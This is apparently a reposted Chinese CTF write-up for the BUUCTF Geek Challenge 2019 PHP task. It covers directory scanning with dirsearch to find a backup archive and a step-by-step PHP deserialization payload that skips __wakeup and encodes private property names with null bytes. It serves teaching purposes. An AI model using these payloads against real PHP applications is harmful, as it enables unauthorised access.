[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

这篇具有很好参考价值的文章主要介绍了[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

姿势

php反序列化ctf题,网络安全,# CTF赛题,web安全,php,CTF,序列化反序列化,Dirsearch

提示:有一个良好的备份网站的习惯

故使用dirsearch工具扫描目录

php反序列化ctf题,网络安全,# CTF赛题,web安全,php,CTF,序列化反序列化,Dirsearch

得到的扫描结果中包含www.zip目录

通过url路径下载zip文件:

php反序列化ctf题,网络安全,# CTF赛题,web安全,php,CTF,序列化反序列化,Dirsearch

index.php中含有关键代码:

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

Get传参传入一个参数select,后端将其序列化

class.php:

<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,也就是说对象创建完成以后第一个被对象自动调用的方法。

分析以上代码可知,当password为100,username为admin时即可获得flag

故以get传参为跳板构造原始POC:

?select=O:4:"Name":2:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}

其中

4表示Name类的长度

2表示类中传入对象的个数,即username和password两个对象

13表示Name username和Name password的字符串长度

5100表示传参的数据类型分别为stringint

接着开始完善POC:

进行反序列化之前则会先调用wakeup方法,当序列化字符串中对象个数的值大于真实个数时会跳过wakeup方法的执行,故POC可改为:

?select=O:4:"Name":3:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}

回显如下:

php反序列化ctf题,网络安全,# CTF赛题,web安全,php,CTF,序列化反序列化,Dirsearch
哪里还没考虑到?

如果构造的链子中含有空格,那么空格被url编码为%20后会导致链子不能被反序列化

故POC可改为

?select=O:4:"Name":3:{s:13:"Name%00username";s:5:"admin";s:13:"Name%00password";i:100;}

同时,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化(即构造POC)时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

故POC改为

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

回显如下:

php反序列化ctf题,网络安全,# CTF赛题,web安全,php,CTF,序列化反序列化,Dirsearch


总结

以上为[网络安全/CTF] BUUCTF 极客大挑战 2019 PHP 解题详析,考察Dirsearch工具的使用及php反序列化知识点,读者可躬身实践。

我是秋说,我们下次见。文章来源地址https://www.toymoban.com/news/detail-742922.html

到了这里,关于[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [极客大挑战 2019]EasySQL1

    目录 一、解题思路 二、原理及相关知识点         打开页面看到如下界面, 有两个功能点且参数可控,允许上传 ,(这也是sql注入的基础)很明显与数据库存在信息交互,想到sql注入。         尝试简单万能密码:

    2024年02月16日
    浏览(34)
  • BUUFCTF—[极客大挑战 2019]Upload 1

    考点: 文件上传黑名单绕过 内容绕过 目录浏览 文件上传 1. 测试是黑名单还是白名单 上传图片1.png成功,上传1.php失败,1.pngs成功,说明是黑名单过滤。 所以要寻找黑名单外的php文件:php, php3, php5, php7, phtml都能作为php文件解析 ps:有些服务器默认不解析php3 phhtml等,如phps

    2024年02月04日
    浏览(38)
  • [极客大挑战 2019]FinalSQL(bypass盲注)

    这里是数字型注入,选择一个序号 这里过滤了很多东西 使用fuzzSQL字典,这是我自己定义编写的一个fuzz字典,内容较少 使用bp加载字典进行测试 看出被拦截的相应大小为890,那么之外的就是没有被拦截的 空格被过滤了,这里使用 ^ 来计算是否为数字注入 通过测试可以

    2024年02月09日
    浏览(42)
  • [极客大挑战 2019]PHP1-超详细

    [极客大挑战 2019]PHP1 提示:有一个良好的备份网站的习惯 寻找一个备份文件字典,我在github上找的: scopion/dic: 渗透字典,框架信息泄露,备份文件泄露,配置文件泄露。字典 (github.com) 我用的是top7777.txt字典,扫的很慢。 扫出来www.zip这个文件,然后下载下来 ,里面只有in

    2023年04月08日
    浏览(35)
  • 【网络安全CTF】BUUCTF(Basic篇)

    解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 访问链接:为php代码审计题,看题目要求构造GET请求读取文件 http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag 访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。

    2024年02月13日
    浏览(42)
  • [CTF/网络安全]BurpSuite爆破实战解题详析之BUUCTF Brute 1

    免责声明:本文仅分享AntSword渗透相关知识,不承担任何法律责任。 请读者自行安装BurpSuite,本文不再赘述。 在用户名和密码都未知的情况下,进行用户名、密码的组合爆破,效率极低。 先爆破用户名,再利用得到的用户名爆破密码,将提高爆破速度。 题目 操作 Burp抓包

    2024年02月06日
    浏览(54)
  • 2023年信息安全管理与评估(赛项)评分标准第三阶段夺旗挑战CTF(网络安全渗透)

    全国职业院校技能大赛 高职组 信息安全管理与评估 ( 赛项 ) 评分标准 第三阶段 夺旗挑战CTF(网络安全渗透) 本文件为信息安全管理与评估项目竞赛-第三阶段赛题,内容包括:夺旗挑战CTF(网络安全渗透)。 网络安全渗透的目标是作为一名网络安全专业人员在一个模拟

    2024年02月08日
    浏览(52)
  • 网络安全CTF工具合集

    各种在线工具以及工具整合 CTF资源库|CTF工具下载|CTF工具包|CTF工具集合 逆向工程: GDB – http://www.gnu.org/software/gdb/download/ IDA Pro – Download center Immunity Debugger – http://debugger.immunityinc.com/ OllyDbg – OllyDbg v1.10 radare2 – radare Hopper – Hopper - Download nm – unix/linux tool objdump – lin

    2024年02月06日
    浏览(49)
  • CTF网络安全大赛详情

    网络安全已成为现代社会的一个关键挑战,随着互联网技术的飞速发展,从个人隐私保护到国家安全,网络安全的重要性日益突显。为了应对这一挑战,CTF(Capture The Flag,中文:夺旗赛)应运而生,成为全球网络安全领域中一种非常流行的信息安全竞赛形式。 CTF赛事起源与

    2024年04月26日
    浏览(92)
  • CTF网络安全大赛介绍

    CTF竞赛模式分为以下三类: 一、解题模式(Jeopardy)在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。题目主要包含逆向、漏

    2024年02月13日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包